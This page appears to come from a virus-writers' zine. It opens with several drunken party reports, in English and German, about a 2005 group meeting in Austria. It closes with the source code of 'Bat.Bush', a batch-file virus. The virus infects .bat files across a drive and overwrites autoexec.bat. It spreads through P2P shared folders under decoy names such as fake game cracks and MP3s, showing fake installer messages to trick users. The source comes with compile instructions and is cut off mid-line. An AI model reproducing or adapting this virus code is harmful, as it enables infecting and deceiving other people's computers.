articles
rRlf meeting 2005 DiA, philet0ast3r, rastafarie, Second Part To Hell Austrian mustard don't do it - rrlf meeting 2005 by DiA ======================================================== Fuck, let's rock... At ~01:00pm my train goes to philies town, nothin really happend, just 3 beer and my music. ~04:00pm I arrived philies town, where he already wait's for me. Buy some beer and whisky, picked up rastafarie and let the riot begin, we are on the way to austria... Beer 4, 5, 6, 7, 8 and 9, "Are we already in austria?", "Yepp, you missed the frontier!". Hmm, maybe in reason of 9 beers, I think so. I was drunkn, philie droves (thank god he was not drunkn) and rastafarie take a sleep after 6 or 7 beers. In reason of my alcoholism I lost much of my time-feeling, so I just drank my beer 10, and we are already at SPTH village. It takes us some time (lost time in my head) to find SPTH's house in this "huge" village. But we did it, we are really in austria... Saying hello to SPTH, making some beer exchange and drank it. After that we looked at the most impressive sight in this village, the wine basement, uh sweet, after seeing this my brain asks for more alcohol. So we take all a seat, drank one more beer. Then we going for the hard stuff, the -from last meeting report- well known korn80. Sweet, I only can drink such stuff when I am already drunkn, let's remember...I was, so we go for it. Don't ask me who, or better who not, puked from this damn fine, nearly making blind, drink. I just remember that SPTH brings some aspirin, drunken idea as normal walking around, why not drink k80 with aspirin?! Hm, first reason: it is totally stupid, and second: apirin don't dissolve in k80 :D. Fuck off! SPTH puked, then me. That aspirin won't go down my throat, more the other way. I really puked in austria... I can't believe it, I fell asleep after signature some stuff for kefi. Breakdown in austria... After getting up I am still drunkn as hell, and I wonder why rastafarie, philie and SPTH laughed at me, after seeing my face in the digicam I know why, they painted my whole face with sentences like "I love Korn80" or "DiA = cool" while i sleeped. Next time I will get you all! >:D. Cleaned me up, going for some breakfast and k80. After that all off us fell asleep and we take a ~3h sleep. Getting up agian, going for some beer, smoking and talking. After that we played like little childrens in the snow, because philie and rastafarie had some bobs (not boobs). Yes, we played with snow in austria... It becomes cold and my beer was empty, so we decided to go to a pub. After entering this trashy pub we buy all a pretty expensive steaming ranger and play some rounds kicker. SPTH beats us all..."you are a crack! ;)". We all getting boring to gets a ass-kick by SPTH, so we went off to play pool. Normal people throws a coin or somethin, but we trash each other to get the staff of the two teams. Rastafarie and me wins the match. Yeah, we win a pool billard match in austria... We decided to play from now on one against one, but it takes another way. Rastafarie gets us all a beer (thx for this mate). We drank a little bit and then rastafarie cuts his finger with this glas of beer, dont ask me how. There was pretty much blood. After rastafarie gets some kinky first aid, he, SPTH and SPTH's mother wents to hospital. Philie and me cleaned up the blood, finished the pool match (nobody wons, in reason of no rules;)) and then we take a seat. Ohh yes, we cleaned up a pub full of blood in austria... While talking about VX and AV the village society enter the pub. Hell, that much austrian people and every one of them wants to speak with us. Philie and me don't understand most time what they want. It was pretty funny, and after SPTH's dad buys us a beer it have to get a little bit funnier. At this time rastafarie and SPTH comes back, we drank more beer (how can I use this word so often in this article?! because we drank that much ;P) and after finishing this we went back to SPTH's house. Rastafarie goes to bed in reason of medical drugs, and the rest of us watching a senseless splatter movie, and drank same time some beer, what else?! The beer rocks in austria... After taking some sleep, we already have to left austria, because I have to get my train. So we all packed our stuff, say goodbye to SPTH and his family and leave this pretty smooth small village. At this point, the end of this article, I have to thank philie for taking me with his car, to rastafarie for making my sadistic site of me happy (blood blood blood ;)), SPTH for all the beer, food and k80 and SPTH's family for the nice hospitality. I am really looking forward to see this people again on the next meeting. Thanks a lot for this awsome time in austria... Children of the KORN 80 II - The final Sacrifice by philet0ast3r About half a year after surviving part one, our irresistible creed for high toxic liquids got us back together. The journey began friday, the 21st of January in my town. DiA arrived by train, I picked him up and we drove (with my car) to a nearby city (where the rRlf was founded) to pick up rastafarie (ex-rRlf). Our destination: The holy KORN 80, an ancient liquid of incredible power, that was supposed to be hidden in a small Austrian mountain village. Second Part To Hell was already there, so we knew where to go. We thought we would arrive there at around 22.00, but as there was partly so much snow, I had to guess where the road is. We arrived 2 hours too late. Well, that village really is not big, but we managed to spend another 30 mins driving around searching spth. I thought it would be the right direction, but after driving 2 km down a narrow road with mountains on the left and houses on the right, I realized: A dead end. There (... a dead end at the ass of the world), we met some drunk Austrians (one looking like a strange mixture of a leftover hippie and a cowboy), who told us the way. Finally we found the right house. Or houses: One where spth's family lives and next to it the house were his grandpa lived. Now a party-house. We went to that one, and finally I could start drinking (the others were already drinking all the way in the car). spth made us some toasts. DiA ate it with mustard. Or better: He ate mustard with toast (he did that the whole weekend: eating everything with an imense amount of mustard). spth said, it was good, that we were finally coming, he was thinking about it already all the time. Suddenly he held a bottle in his hands. From it emerging bright, energetic light. I sank to my knees as I saw the label: <center>------------------------------------ SPITZ 80% vol ANSATZ KORN (österreichisches Erzeugnis) ------------------------------------</center> There it was. Holy shit. Well, we opened it, and started drinking. The first round pure. I thought: "How the hell was I able to drink so much of this stuff the last time?" while having to puke after the first swallow. I think spth had to puke too, so rastafarie was not drinking it pure but with coffee (spth's special strong coffee = looks like a black hole after putting 1 l milk in it). I mixed it with orangejuice. But spth and DiA went to the next step: The first two persons to experience rRlf drink #2: KORN 80 + aspirin. Killer. spth puked at once. He said: "It's strange: You try to swallow it, and that moment the aspirin starts to bubble and brings up all the KORN 80 again, burning your throat to death." DiA puked too. Really much, and he couldn't stop. Nice. It smelled like mustard. After lots of more drinking, spth came up with a LP: David Hasselhoff - Looking for freedom. rastafarie (mostly) and spth had lots of fun singing this shit (the lyrics were printed on the cover), I was dancing through the room, throwing down some stuff. The next thing was "Bubi, Bubi nocheinmal", some old and stupid Austrian folk shit. We had lots of fun scratching the LP and dancing pogo to it. Later spth took out a second bottle of KORN 80, which he planned to send to Kefi. We started to write Kefi a letter: Everyone wrote 2 words, then the next person wrote 2 words. Out came lots of senseless drunken bullshit, but funny. We thought, just letter and KORN 80 is boring, so we started to sign lots of different trash for him (Kefi: the apple is pure chance ;), to be put to the package. Somewhen DiA fell asleep, so we started to paint his face with a black marker (... also inside his ear). It was getting cold, because the stove burned out. It was only glowing a bit. Now that was the effect of pouring a bit KORN 80 into it:
It was getting bright and we were still drinking. Somewhen in the morning spth's father
came into the party-house to welcome the guests. At that moment DiA woke up, not really
knowing, how his face looked like...
Some time later we decided to watch a episode of Family Guy (rastafarie brought about
every episode with him), but all fell asleep while watching.
Our Saturday began in the afternoon. I remember drinking a beer and getting down to the
kitchen, where I talked with spth's mother. The others and the rest of spth's family
were coming, and his mum made us a great breakfast. Well, for the family it was supper.
DiA ate mustard with bread, mustard with sausages, mustard with cheese and mustard with
eggs.
As it was already getting dark, we hurried up to get drunk again. Which didn't take
long, cause we started with KORN 80.
As rastafarie and I are members of an international extreme bob team, we had our bobs
with us, to check out the Austrian mountains. Which would have been a good ride, if
the farmers wouldn't have made up wire fences all over. Wasn't as much fun, as we
thought, so we went to a pub. There we got us some Steaming Rangers and started
playing table soccer (in Austria it's called "Wuzlkastn" :). But as spth seemed to
spend much time with this table, it was kinda boring, cause if you play with spth you
will always win. If you play against him, you will loose. So we thought billiard would
be better. But who plays together? The answer was fought out, using billiard sticks as
weapons. We ran around the room like little kids hitting each other. Finally we started
playing, but not long. rastafarie managed to brake the beer glass he was holding in his
right hand with the billiard stick he was holding in his other hand. In a way that he
cut through the vein in his right middlefinger. We were all drunk as hell (or "vull vull"
how you say in Austria :), and suddenly the floor looked like this:
Wow. spth and rastafarie went to spth's mum, who brought them to a nearby hospital.
After I cleaned the floor of glass fragments and blood, DiA and I needed a beer. We
talked a while about this and that, and suddenly the door opened, and in came: About
30 ppl of a krampus society (hard to explain what that exactly is...), who filled the
pub. Everybody seemed to be drunken. There were we sitting, DiA from Saxon, me from
Bavaria, drunk in a little pub in a little Austrian mountain village, not understanding
any word of that strange dialect. This was really a strange situation. Someone asked
us, if we were viruswriters. The whole village seemed to know about spth's hobby.
Later DiA and I tried to play cards, but it didn't work out ... the cards were kind of
strange (Stüssi der Flurschütz!) and somehow all looked the same.
Then spth and rastafarie came back, and rastafarie was really fucked up. We stayed a
while and DiA and I tried to hack a game vending machine. But we only managed to
restart the thing by pulling the plug and putting it back in. But after doing that for
a while, the thing totally crashed, so we went back to spth's house to eat something.
We drank a few more beers and watched a Japanese splatter movie I brought with me:
Story of Ricky. Dumb story, dumb actors, dumb dialogs, but funny. And lots of blood
and gore. rastafarie already had enough of that, so he went to bed. The rest of us did
that after the movie.
It was Sunday noon, as I felt able to drive. We got our things together, said "until
next time" and left spth in that little village. We had to hurry, otherwise we would
have missed DiA's train from my town. Well, we missed DiA's train, so I drove directly
to a bigger city, where DiA would have had to change trains, if he took that from my
town. We were short before the city (it was already getting dark again), as my car
stopped: We were out of gas.
We called a breakdown service, but they wanted about 300 euros for bringing us some
gas. So we called a taxi, which brought us to the next gas station (which was of course
kinda around the corner), I bought a gas canister, and the taxi brought us back, which
had cost me all together 15 euros.
Somehow we managed to get to the station in time, we even had enough time to eat
something. DiA took his train, I first brought rastafarie back home and then myself.
I fell into my bed and asleep. It was a hard weekend.
Next day I had to get up early: School, where I wrote an exam, for which I had learned
like nothing.
But well, you have to set priorities.
DIA - Day In Austria (x2)
Wir befinden uns am verschneiten Arsch der Welt als ich, nachdem ich zwischenzeitig
weggenickt bin, meine Augen öffne .Es ist Mitternacht oder etwas um den Dreh. Draußen
bei den Zapfsäulen der geschlossen Tankstelle stehen die beiden anderen und rauchen,
während ich versuche aus dem Auto zu klettern.
Irgendwann nach dem 6 Bier muss ich weggenickt sein, nachdem ich zuvor unter der Fahrt
versucht hatte , in eine leere Lipton Eisteeflasche zu pissen. Da ich betrunken und es schon
dunkel war, kann ich nicht sagen wie viel an der Flasche vorbei gegangen ist ( sorry Philie ;)
.
Als wir ausgeraucht hatten und uns die übelst kalte Nacht zum weiterfahren zwang,
erreichten wir irgendwann gegen 1 Uhr Nachts ******. Der Kurze Aufenthalt an der
Tankstelle und die Fahrt erinnerten mich an Shining.
Eisige Kälte, Schnee und weit und breit so schien es, keine Menschenseele.
Wir hatten Schwierigkeiten unseren Komplizen zu finden, also bogen wir irgend- wo in
****** rechts ab. Wir fuhren einen schmalen, vereisten Weg entlang der uns an
irgendwelchen leblosen österreichischen Berghäusern vorbei führte und kamen auch schon
im Nirgendwo an. Dort hatten wir jedoch das Glück, einer Gruppe verrückter
Einheimischer zu begegnen, die trotz des offensichtlich übermäßigen Drogenkonsums in
der Lage war uns den Weg zu beschreiben. Also lachten wir uns erst einmal über die
freundlichen, verrückten Freaks den Arsch ab und kehrten um. Es dauerte auch nicht mehr
lange und wir erreichten unseren Zielort. Wir wurden schon auf der Strasse von unserem
wartenden Gastgeber Spth empfangen und begaben uns, nachdem wir uns begrüßt hatten,
in den Konferenzraum , welcher sich in einem kleinen Partyhäuschen nahe des Hauses
befand.
Dort machten wir dann dort weiter, wo ich bevor ich eingenickt war- und DIA nicht,
aufgehört hat(te).
Spth hatte wie es schien an alles gedacht, sodass wir nach dem obligatorischen Frühstück
um halb zwei Uhr morgens, auch schon mit dem köstlichen r Bier weiterseideln
konnten. Auch wenn die Brautradition dieses Bieres nicht in die sakrale Entstehungszeit
des bayrischen Reinheitsgebotes zurückreicht, so ist es ein wirklich schmackhaftes Bier , das
sich gut schwallen lässt !
Nachdem unser Gastgeber in infantiler und fast schizoide wirkender und deshalb
sympathischer Vorfreude gestand, sich schon seit längerer Zeit auf den (-original
österreichischen-) Ansatzkorn (-mit 80 % Alkoholgehalt-) zu freuen, machte er die
Austrian-Wunder-Korn-Flasche auf.
In einer ruhigen, gemütlichen Runde saßen wir also am Tisch, tranken dieses köstliche,
nach totbringendem Frostschutzmittel schmeckende Gesöff , von dem ein Großteil von uns
sich die Eingeweide rauskotzen musste.
Glücklicherweise blieb mir dies erspart, da ich mich entschloss, nicht wie Dia und Spth den
Ansatzkorn mit einer Aspirintablette auf zu frischen. Nachdem wir uns in fröhlicher
Heiterkeit betranken, schlief Dia ein, so dass sein Gesicht zum Zielobjekt unserer
künstlerischen Energien wurde.
Nun zeigte uns unser offensichtlich mit dem Okkultismus vertraute Gastgeber, sein
geheimes, in der Mitte der Stube gelegenes alchemistisches Versuchslabor, indem er die
Magie des Ansatzkorns nachzuweisen versucht. Man mag es glauben oder auch nicht, er
schaffte es tatsächlich , die Glut des mittlerweile erlischenden Feuers des Kachelofens mit
einem magischen Sprutz aus der Ansatzkornflasche in loderndes Feuer zu verwandeln !!!
Nachdem er uns zuvor in den bescheidenen Weinkeller des Hauses geführt hatte und ich
glaubte im Himmel gewesen zu sein, war er in meinen Augen nun endgültig ein Zauberer.
Als es hell wurde und wir wieder vollzählig einsatzbereit waren, gingen wir irgendwann in
der Früh rüber in die große Version des Partyhauses um uns Family Guy anzuschauen,
wovon ich knapp 10 000 Folgen mitgebracht hatte.
Da uns nach einer langen Nacht der Zauberei die Augen zufielen, beschlossen wir ein
Nickerchen einzulegen.
Gegen 15 Uhr wurden wir vom penetranten Geräusch des Weckers geweckt und
frühstückten erst einmal einen Happen. Da noch etwas vom delikaten Ansatzkorn übrig
geblieben war, dauerte es nicht lange, ehe ich wieder so steif war, wie bevor wir uns
schlafen gelegt hatten. Nun wo wir wieder in einem funktionsbereiten Zustand waren,
gingen wir Bobfahren. Philie und ich hatten unsere Bobs mitgebracht um uns diesen Spaß
in den Bergen nicht entgehen zu lassen.
Leider hielt sich das Toben im Schnee in Grenzen, da sich die österreichischen Kuhbauern
in der Steiermark offensichtlich in einem erbarmungslosen Konkurrenzkampf befinden und
unbedingt ihre Kuhweiden, mit Drahtstrickzäunen, voneinander abgrenzen müssen.
Diese boten eine wunderbare Gelegenheit sich beim Rodeln den Schädel abzuhacken und
der große Depp zu sein.
So gingen wir doch eher auf Nummer sicher und suchten das nahegelegene Wirthaus auf,
indem wir Tischfußball (Kicker) spielen wollten.
Schon bald stellte sich heraus, dass Spth hier schon oft diesem Vergnügen nachgegangen
sein muss, da jeder Ballkontakt von ihm ein Tor als Folge hatte.
Nachdem die verschiedenen Teams, die Spth als Gegner gehabt hatten, einige male verloren
hatten, dachten wir es könnte lustiger sein , Billard zu spielen.
So nahmen wir also unsere vorzüglichen Steaming Ranger zur Hand und begaben uns
hinüber in den Billardsalon des Hauses.
Dieser Nebensalon, den man nur für uns geöffnet hatte, indem sich der Billardtisch befand,
war mit leeren Schnaps- und Softdrinkflaschen zugestellt die sich hervorragend zum
Umgetretenwerden eigneten.
Dies geschah dann auch relativ bald, als wir beim Ausfechten der Gruppenformation im
Eifer des Gefechts dagegen traten. Der Bedienung muss es vorgekommen sein wie in einem
Reptilienzoo, als sie hereinkam um uns zu bitten, aufzuhören uns gegenseitig mit den
Billardkös zu verkloppen.
Nun gut, so kam es also dass wir anfingen Billard zu spielen.
Nach einem ausgeglichenen Spiel und immer wieder spontan dazwischen hereinbrechenden
Kö-Fecht-Klopp-Attacken passierte mir dann ein kleines Missgeschick, als ich in einer
Hand mein Bierglas hielt und versehentlich mit der anderen, in der ich das Kö hielt,
dagegen stieß.
Aufgrund der Hektik der Ereignisse kann ich nicht mehr sagen wie es genau dazu kam,
jedenfalls hatte ich mir mit dem zerbrechenden Bierglas in den Mittelfinger geschnitten.
Nachdem meine 0,5 cm tiefe, volarseitige Schnittverletzung des PIP-Gelenkes des 3. Fingers
der rechten Hand mit drei Stichen in der örtlichen orthopädischen Ambulanz genäht
worden war, fühlte ich mich etwas wohler in meiner Haut.
Grob geschätzt , habe ich auf dem Boden des Billardsalons etwa 500 Liter meines Blutes als
kleines Dankeschön hinterlassen.
Von nun an glich meine Anwesenheit eher der eines passiven Beobachters.
Nachdem man mich im Krankenhaus mit 10 000 verschiedenen Chemikalien vollgepumpt
hatte, verspürte ich nun kein Bedürfnis mehr Alkohol zu mir zu nehmen. Wir verweilten
noch eine Weile in dem Wirtshaus, Dia, Philie und Spth tranken noch weitere Hunderte
Liter von Bier während die österreichische Dorfjugend das Lokal am späten Abend immer
mehr an sich riss.
Das nächtliche Treiben in ****** überraschte mich wirklich sehr, zumal es mir so vorkam
als hätte sich das ganze Dorf in dem Wirtshaus eingefunden.
Nachdem Dia und Philie ihre Virenschreiber-Elite-Kenntnisse am Spielautomaten unter
Beweis stellten und ihn durch permanentes Ein- und Ausziehen des Steckers zum
Abkacken brachten, war der Zeitpunkt günstig wieder ins Partyhaus zu gehen.
Anscheinend hatte es sich in der Zwischenzeit rumgesprochen, dass die Elite der
Virenschreiberszene bei Spth eine Versammlung abhält, da wir von nun im minuten Takt
genötigt wurden, alles was uns in die Hände kam zu signieren und an Fäääns zu
verschenken.
So kam es also, dass jeder von uns ungefähr eine Tonne von irgendwelchem Scheiss mit den
Unterschriften der übrigen drei Teilnehmer als Andenken mit Nachhause nehmen konnte.
Mein kurzes Essay neigt sich nun dem Ende zu, da ich nach dem Krankenhausbesuch
ziemlich im Abkacken begriffen war. Die rRlf Versammlung verlagerte sich nach einer
Weile auch wieder zurück in die größere Version des Partyhauses um dort
Splatterklassiker wie The Story Of Ricky anzuschauen.
Für mich war der Zeitpunkt gekommen mich zu verabschieden und meinen Rausch
auszuschlafen.
Nach dem Frühstücksbier am nächsten Morgen neigte sich die Versammlung langsam dem
Ende entgegen.
Gegen 12 Uhr brachen wir dann, nachdem wir uns verabschiedeten, auf und fuhren mit
einem Batzen schöner auch wenn teilweise schmerzhafter Erinnerungen zurück nach
Deutschland.
Bezeichnend für den ganzen Aufenthalt bei Spth im gemütlichen Österreich waren die
letzten Bilder die mir von ****** in Erinnerungen bleiben werden.
Beim Wegfahren kamen wir an Spth’s Vater und einem seiner Nachbarn vorbei, die sich
bei wunderschönem Wetter , angelehnt an eine Gartenscheune,
im 12-Uhr-Mittags-Stress erst einmal genüsslich ein Bierchen im Freien gönnten.
Klasse !
-rastafarie-
rRlf's bloody weekend
by Second Part To Hell
When we met last time in summer 2004, we decided to repeat it. Well, all
started again, when philet0ast3r called me once in winter 2004 after he
visited a shown by Alf Poier (a totally sick guy from Austria, who was at the
Songcontest 2002 with a song called 'Weil der Mensch zählt'). I think philie
was really drunken that time, because he told me he used his gas cost money
for beer. :) Anyway, we talked about the date, and said that 14/15/16 january
2005 would be good. We asked DiA if it's ok for him too, and he agreed. Time
went and soon DiA said he can not come that weekend - so the fat 'event'
should happen one week later - and it did.
Invated were philie & girlfriend and DiA. but philie's girlfriend couldn't
come, so he asked rastafarie (ex-rRlf member), who really came.
Friday:
First meeting-related thing at this day was a nice telephon call by DiA's
mummy :) She asked me if they are still in Austria. Well - nice talk :)
Normally they should have come at 10 in the evening. But as they had some
problems finding my village and maybe even harder: me in that small town
(they drove ~30minutes for a 1 minute way) :), they came at 1 in the night.
First we did was opening beer: Philet0ast3r, DiA and rastafarie drank one of
the beer from a nearby city (the best one!!!), and I drank one of DiA's and
one of philet0ast3r's beer. Both were really good. Then I showed them my
favorite place in the house: The vine cellar - I noticed by their smileys
that they really liked the room :). Then - Eating: I made some toasts.
rastafarie ate it normal, philie ate a vegetarian toast and DiA asked me
immediatly if I have enough mustard. We wondered, but then we noticed what he
meant: DiA = mustard (german: Senf) addicted. His toast looked like that:
Inside mustard, above it mustard and when he got it, mustard again. After the
eating he ate the rest of the mustard tube: pure! :)
After eating we inputed some music and sat down to drink beer and some of the
wiskey, which they had with them, until I took out our good old friend:
The KORN80 :) Before drinking I went for a bucket, which we really need.
And I think I was the first who need it: After the first glass the shit
didn't want to stay in my stomach - so I puked. Nice feeling when that thing
like burning oil crosses your neck two times... outsch! :)
Nevertheless we continued drinking - of course - and next glass philet0ast3r
had to puke. We had a good laugh again - and continued. It's totally silly
and selfdestruction, but it didn't bother us. rastafarie, after seeing us
puking, mixed the KORN with coffee (don't say he's lame, you don't know my
coffee :D) and DiA was really heavy: He drank the thing like normal water,
without changing his facial expression in any way. :)
Then rastafarie said he has a headache, so I gave him some aspirin. Being
quite drunken (and for DiA and my taste - selfdestructing), we decided to mix
a real nice drink, which is now the official rRlf drink issue #2:
KORN80+Aspirin! philet0ast3r and rastafarie were enough intelligent to say
no, so they did not drink it. Well,DiA and me mixed, and (tried to) drank it.
I think I was first again: I had to puke as hell, because the drink this time
couldn't not even pass my neck. It was like a fast input/output process :)
DiA was better: He drank it...10secs... and then he also puked - about two
liters :) It was so damn ugly and funny - we nearly could not stopp to laugh,
and DiA not to puke :) Then we stopped with KORN80 for a while, and drank
more beer and wiskey (and coffee). Soon I got the idea to of inputting the
David Hasselhoff's LP disc 'Looking for freedom'. :) I also had the text of
it, so we *tried* to sing. rastafarie was the main singer and was happy as a
little child while singing. He really cried euphoric to the sound of David.
DiA, at that moment, could not talk anything anymore. He drank too much, and
just noded his head and smiled when we tried to talk with him (maybe we could
not do it eigther - i forgot). Meanwhile philie did pogo that heavy, that he
nearly destroyed the chitchen. After David and some beer again, we inputed
the next LP disc called 'Bubi, Bubi, nocheinmal' (which means something like
'Babyboy, Babyboy, once again' - totally crazy). Without understanding the
lyrics, we did just heavy hardcore pogo. Totally funny - 4 rRlf (related)
guys jumping euphoric crazy at 2m², one more drunken than the other one.
After the 'Bubi, Bubi, nocheinmal' we sat down again to drink and talk about
anything we could think of (well, not too much topics, because nobody wa
able to use his brain fully). Then we thought about Kefi (I told him that I'm
going to send him a bottle of KORN80) and started to write a A4 site of 100%
senseless text and pictures. While doing this we also got the idea to send
him more than just a signed bottle KORN80 and a paper with text, so we also
signed an aspirin (that he's able to make the rRlf drink issue #2), a black
and a white choco thing, a cigarette, an apple and more stupid/crazy/senseless
stuff. I really hope that he will like it. :)
Anywhen, I think about 4-5 in the morning DiA fell asleep and we had a victim
for our creativity. We got a fat black marker and signed/painted his face :)
Also that night the fire in the stove stopped, so we had to reactivate it.
Therefor we tried the KORN80 - and it worked. 0.1 seconds after doing it into
the stove, a 2m high flame came back. Looked nice and worked great - it was
warm again. Soon we realiced that it became bright, so we ate something and
drank our good-morning-beer. That time also DiA was wake again and was
astonished about his artistic painted skin. :) We wanted to view a episode
of 'Family Guy', but we were too tired and decided to go to bed.....
Saturday:
We woke up at ~15.00 - some still drunken :) First we did was going to the
chichen and drink one of the hell drink: KORN80. That day it was better,
so we decide to empty the bottle, I think there where 3 more rounds, and soon
everybody was drunken again. I can't really remember what we did until it
became dark - I think drinking KORN, beer, coffee and smoking. Then we went
to a field nearby us to ride the bobs rastafarie and philet0ast3r got with
them. After some funny and even painful rides we decided to went to the next
pub, because it was cold and beside of DiA's beer we had no alcoholic drinks
with us. We first went in to drink a Steaming Ranger (1/3 Wiskey, 1/3 cola,
1/3 orange juice), then we played tablesoccer. I could neighter concentrate
nor see the balls right, anyway I won most time because the others could not
do it eighter :D.
Then we went to another room to play pool.First question: Who plays together?
We had an excellent fight with our magic pool staffs :) Then we played.
But soon rastafarie, the clumsy, broke his glass of beer and hurt his finger
really (!!!) bad. His blood decorated big parts of the floor. We quickly
asked the barkeeper lady to help us. We (the barkeeper lady, who was afraid
of blood and me, who was totally drunken) tried to bandage his finger, who
looked really bad. Somehow we managed it, then I called my mum to drive to
the next hospital. There rastafarie got known the Austrian health system:
We had to wait for ~20-25mins until somebody came. It was a X-Ray assistent
lady, who did not know what to do. Then she tried to cut the bandage of his
finger, as it was already totally blue. We had to wait for more ~10-15 mins
until the doctor came. Then everything was really fast: rastafarie got some
injections, then I went out of the room.Soon (about 10mins later) he came out
again and said that his vein was broken. Everything seemed to be as good as
possible, so we drove back to the pub, where DiA and philet0ast3r where still
drinking beer :) I also continued drinking beer, but rastafarie was not that
active anymore, and after philie and DiA had fun with destroying the
photoplay automat, we went home to drink some beer there again and to sign
everything we could find :). Then we went into the real house. rastafarie
went to bed as he was kind of stoned by the whole medicine he got, and we
watched a video philet0ast3r got with him called 'The Story of Richy' or
something like that. It had no plot, just blood in it. That day I saw more
blood than ever in my life... At ~3-4 in the night we went to bed.
Sunday:
The last day was really short. We stood up at ~9-10 in the morning, and they
had to drive soon, because DiA must not miss his train in philet0ast3r's
city. Well, I think we ate something and drank a beer (did we - i can not
really remember). At ~midday they left, and with it a really great, funny,
less-sleeping, bloody, alcoholic weekend ended.
Later this day my brain started to work really again - for the first time
of the ~2 days :) Well, I really enjoyed the weekend and I'm really looking
forward meeting for the next time. We have already talked about that:
It should be in or nearby philet0ast3r's city in summer 2005 and this time
we want to make it bigger. That means more vxers/related people are invated.
I really hope some will come... I'll definitivly take with me a KORN80 bottle! :)
sources
Bat.Bush Adious *EXCLUSIVE TO BZ #2* ___________________________________ // \ || Bat.Bush By Adious [rRlf] | || First batch to find name of | || it's drive. | \\___________________________________/ .: Introduction :. "Batch is not hard.Trying to do something new with it is." I thoght of the idea of this virus as i was verry bored at night with nothing to do.Is it cool for the batch to find out what drive it is running in? After trying and testing i finally came out with this code.I found out from slagehammer,who tested my works,told me that it could only work win98.I could not write routines for batch in other Windows version (win2k,winNT,winME,etc) because i do not have them.I think it would be intresting to some ppl after spending some hours thinking of a good routine for it.Anyways,I hope you enjoy reading this source. .: Stats :. Name: Bat.Bush Size: 13.7 KB 14,336 bytes finnished on: 23/6/03 Infection target:*.bat.It will serch for the batches in current directory and work it way to the root directory and infects batches in between (dotdot emu). Worming target:mIrc and some P2P programs encrypted:No. Polymorphic:No. Anti-AV routine:No. Payload:As soon as it infects all the batches in that drive,it will search for autoexec.bat and overwrites it with the payload.It shows a "massage of the day" to the user and runs the virus. Works on:Win98 (as far as I know) .: Source Code :. Those of you who knew batch would know what it does..there is no need for comments.I'll just write some comments for the newbies.Remember:"Batch is not hard.Trying to do something new with it is." My comments are in "::>" (without the qoutes).To compile,just cut the source and save it as "bush.bat" and remove the comments I've made. ==============================(CuT HERE 8<)================================================================ :: Bat.Bush :: By adious [rRlf] :: Finnished on 23/6/03 2:30:48.59a @echo off cls if %shit%==prick goto ci if %cs%==yes goto msg1 if %hl%==yes goto msg2 if %lp%==yes goto msg3 if %mad%==yes goto msg4 goto ci :msg1 echo --------------[Counter-Strike Crack]---------------- echo. echo Press: echo [1] install CS package echo [2] exit setup echo. choice /c:12>nul if errorlevel 1 set done=1 goto ci :msg2 echo -------------[ Half Life Crack]---------------- echo. echo press: echo [1] Install Half Life Crack echo [2] exit setup choice /c:12>nul if errorlevel 1 set done=1 goto ci :msg3 echo Installing Linkin Park:Somewhere I belong echo ,........ pause goto ci :msg4 echo Installing Madonna:American Life echo ,........ pause :ci cls ::> (top code) If this virus is spreaded through P2P,It will show some ::> fake msg to tell the dumb user that it is installing the following items. ::> (bottom code) To find what name of drive the virus is inside sitting inside ::> it will then set the "pat" varible with the name of the drive to be used ::> latter on in the code cd >l.l find /c /i "a:\" l.l >nul if not errorlevel 1 set pat=a:\ find /c /i "b:\" l.l >nul if not errorlevel 1 set pat=b:\ find /c /i "c:\" l.l >nul if not errorlevel 1 set pat=c:\ find /c /i "d:\" l.l >nul if not errorlevel 1 set pat=d:\ find /c /i "e:\" l.l >nul if not errorlevel 1 set pat=e:\ find /c /i "f:\" l.l >nul if not errorlevel 1 set pat=f:\ find /c /i "g:\" l.l >nul if not errorlevel 1 set pat=g:\ find /c /i "h:\" l.l >nul if not errorlevel 1 set pat=h:\ find /c /i "i:\" l.l >nul if not errorlevel 1 set pat=i:\ find /c /i "j:\" l.l >nul if not errorlevel 1 set pat=j:\ find /c /i "k:\" l.l >nul if not errorlevel 1 set pat=k:\ find /c /i "l:\" l.l >nul if not errorlevel 1 set pat=l:\ find /c /i "m:\" l.l >nul if not errorlevel 1 set pat=m:\ find /c /i "n:\" l.l >nul if not errorlevel 1 set pat=n:\ find /c /i "o:\" l.l >nul if not errorlevel 1 set pat=o:\ find /c /i "p:\" l.l >nul if not errorlevel 1 set pat=p:\ find /c /i "q:\" l.l >nul if not errorlevel 1 set pat=q:\ find /c /i "r:\" l.l >nul if not errorlevel 1 set pat=r:\ find /c /i "s:\" l.l >nul if not errorlevel 1 set pat=s:\ find /c /i "t:\" l.l >nul if not errorlevel 1 set pat=t:\ find /c /i "u:\" l.l >nul if not errorlevel 1 set pat=u:\ find /c /i "v:\" l.l >nul if not errorlevel 1 set pat=v:\ find /c /i "w:\" l.l >nul if not errorlevel 1 set pat=w:\ find /c /i "x:\" l.l >nul if not errorlevel 1 set pat=x:\ find /c /i "y:\" l.l >nul if not errorlevel 1 set pat=y:\ find /c /i "z:\" l.l >nul if not errorlevel 1 set pat=z:\ del l.l cls ::> below routine tries to infect all batches in that peticular drive. ::> it works it's way down to the parent directry to root directory (DotDot emu :) ::> while infecting everything in between. :infecto @attrib +r %0 echo.>l.t echo @set shit=prick >>l.t @copy l.t + %0 m.b @for %%a in (*.bat) do copy %%a + m.b del l.t | del m.b cd .. >%pat%p.l @find /c /i "invalid directory" %pat%p.l @if not errorlevel 1 goto infecto @echo.>l.t @echo @set shit=prick >>l.t @copy l.t + %0 m.b @for %%a in (*.bat) do copy %%a + m.b @del l.t | del m.b | del p.l copy %0 %pat%bush.bat attrib -r %0 cls if not exist %pat%windows\*.* goto auto :p2p echo set cs=yes >t.i if exist %pat%program files\morpheus\my shared folder\*.* copy l.t + %0 %pat%program files\morpheus\my shared folder\csc.EXE.bat if exist %pat%program files\bearshare\shared\*.* copy l.t + %0 %pat%program files\bearshare\shared\csc.EXE.bat if exist %pat%program files\eDonkey2000\incoming\*.* copy l.t + %0 %pat%program files\eDonkey2000\incoming\csc.EXE.bat echo set lp=yes >t.i if exist %pat%program files\morpheus\my shared folder\*.* copy l.t + %0 %pat%program files\morpheus\my shared folder\Linkin_park_somewhere_i_belong.MP3.bat if exist %pat%program files\bearshare\shared\*.* copy l.t + %0 %pat%program files\bearshare\shared\Linkin_Park_somewhere_i_belong.MP3.bat if exist %pat%program files\eDonkey2000\incoming\*.* copy l.t + %0 %pat%program files\eDonkey2000\incoming\Linkin_Park_somewhere_i_belong.MP3.bat echo set hl=yes >t.i if exist %pat%program files\morpheus\my shared folder\*.* copy l.t + %0 %pat%program files\morpheus\my shared folder\HL_cracks.EXE.bat if exist %pat%program files\bearshare\shared\*.* copy l.t + %0 